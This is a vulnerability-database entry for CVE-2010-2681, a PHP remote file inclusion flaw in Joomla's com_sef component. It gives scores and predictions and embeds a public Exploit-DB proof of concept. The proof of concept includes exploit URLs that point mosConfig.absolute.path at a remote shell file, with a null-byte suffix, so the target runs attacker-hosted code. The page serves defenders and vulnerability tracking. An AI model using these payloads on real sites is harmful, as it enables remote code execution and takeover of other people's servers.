CVE-2010-2681

high
Published 2010-07-12 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

PHP remote file inclusion vulnerability in the SEF404x (com_sef) component for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig.absolute.path parameter to index.php.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14055 webapps php verified text ยท 1 KB
Li0n-PaL ยท 2010-06-26

Joomla! Component com_sef - Remote File Inclusion

text exploit Source: Exploit-DB
==========================================================
Joomla Component (com_sef) RFI
===========================================================

                                          WWw.HaCkTeacH.oRg/cc
                                                                                         
+===================================================================================+
[?]Joomla Component (com_sef) RFI
+===================================================================================+
    [?] My home:              [http://HaCkTeCh.Org/cc           ]
    [?] For Ask:              [F5w@hotmail.com                   ]
    [?] Script:               [     joomla                ]
    [?] home Script           [ http://www.joomla.com/app             ]
    [?] Language:             [ PHP                              ]
    [?] Founder:              [ Li0n-PaL                         ]
    [?] Gr44tz to:            [ Pal-Li0n - Red-D3v1L - Shadow-D3v1L - All HaCkTeacH CreW ]

===[ Exploit  ]===
http://localhost/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=[shell.txt?]

DeMo ~

http://www.example.com/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http://[remote-server]/[file]%00


EnJoY o_O

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./exit

Application impact

VendorProductVersionsFixed
joomla joomlacom_sef
joomla joomlajoomla\!

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.